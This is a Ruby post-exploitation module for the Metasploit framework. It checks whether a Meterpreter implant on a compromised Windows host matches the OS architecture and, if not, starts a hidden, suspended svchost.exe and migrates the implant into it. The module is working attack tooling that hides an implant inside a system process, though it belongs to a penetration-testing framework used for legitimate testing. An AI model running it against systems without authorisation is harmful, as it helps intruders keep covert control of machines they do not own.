1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Post
7
  include Msf::Post::Windows::Registry
8
  include Msf::Post::File
9
  include Msf::Post::Common
10
  include Msf::Post::Windows::Priv
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Architecture Migrate',
17
        'Description' => %q{
18
          This module checks if the meterpreter architecture is the same as the OS architecture and if it's incompatible it spawns a
19
          new process with the correct architecture and migrates into that process.
20
        },
21
        'License' => MSF_LICENSE,
22
        'Author' => ['Koen Riepe ([email protected])'],
23
        'Platform' => [ 'win' ],
24
        'Arch' => [ 'x86', 'x64' ],
25
        'SessionTypes' => [ 'meterpreter' ],
26
        'Compat' => {
27
          'Meterpreter' => {
28
            'Commands' => %w[
29
              core_migrate
30
              stdapi_railgun_api
31
              stdapi_sys_process_execute
32
              stdapi_sys_process_getpid
33
            ]
34
          }
35
        },
36
        'Notes' => {
37
          'Stability' => [CRASH_SERVICE_DOWN],
38
          'SideEffects' => [],
39
          'Reliability' => []
40
        }
41
      )
42
    )
43

44
    register_options(
45
      [
46
        OptString.new('EXE', [true, 'The executable to start and migrate into', 'C:\windows\sysnative\svchost.exe']),
47
        OptBool.new('FALLBACK', [true, 'If the selected migration executable does not exist fallback to a sysnative file', true]),
48
        OptBool.new('IGNORE_SYSTEM', [true, 'Migrate even if you have SYSTEM privileges', false])
49
      ]
50
    )
51
  end
52

53
  def check_32_on_64
54
    # railgun returns '\x00\x00\x00\x00' if the meterpreter process is 64bits.
55
    session.railgun.kernel32.IsWow64Process(-1, 4)['Wow64Process'] != "\x00\x00\x00\x00"
56
  rescue StandardError
57
    print_error('Railgun not available, this module only works for binary meterpreters.')
58
  end
59

60
  def get_windows_loc
61
    apicall = session.railgun.kernel32.GetEnvironmentVariableA('Windir', 255, 255)['lpBuffer']
62
    windir = apicall.split(':')[0]
63
    return windir
64
  end
65

66
  def do_migrate
67
    unless check_32_on_64
68
      print_good('The meterpreter is the same architecture as the OS!')
69
      return
70
    end
71

72
    print_status('The meterpreter is not the same architecture as the OS! Upgrading!')
73
    newproc = datastore['EXE']
74
    if exist?(newproc)
75
      print_status("Starting new x64 process #{newproc}")
76
      pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
77
      print_good("Got pid #{pid}")
78
      print_status('Migrating..')
79
      session.core.migrate(pid)
80
      if pid == session.sys.process.getpid
81
        print_good('Success!')
82
      else
83
        print_error('Migration failed!')
84
      end
85
    else
86
      print_error('The selected executable to migrate into does not exist')
87
      if datastore['FALLBACK']
88
        windir = get_windows_loc
89
        newproc = "#{windir}:\\windows\\sysnative\\svchost.exe"
90
        if exist?(newproc)
91
          print_status("Starting new x64 process #{newproc}")
92
          pid = session.sys.process.execute(newproc, nil, { 'Hidden' => true, 'Suspended' => true }).pid
93
          print_good("Got pid #{pid}")
94
          print_status('Migrating..')
95
          session.core.migrate(pid)
96
          if pid == session.sys.process.getpid
97
            print_good('Success!')
98
          else
99
            print_error('Migration failed!')
100
          end
101
        end
102
      end
103
    end
104
  end
105

106
  def run
107
    unless is_system?
108
      print_status('You are not running as SYSTEM. Moving on...')
109
      do_migrate
110
      return
111
    end
112

113
    if datastore['IGNORE_SYSTEM']
114
      print_error('You are running as SYSTEM! You will lose your privileges!')
115
      do_migrate
116
      return
117
    end
118

119
    print_error('You are running as SYSTEM! Aborting migration.')
120
  end
121
end
122

123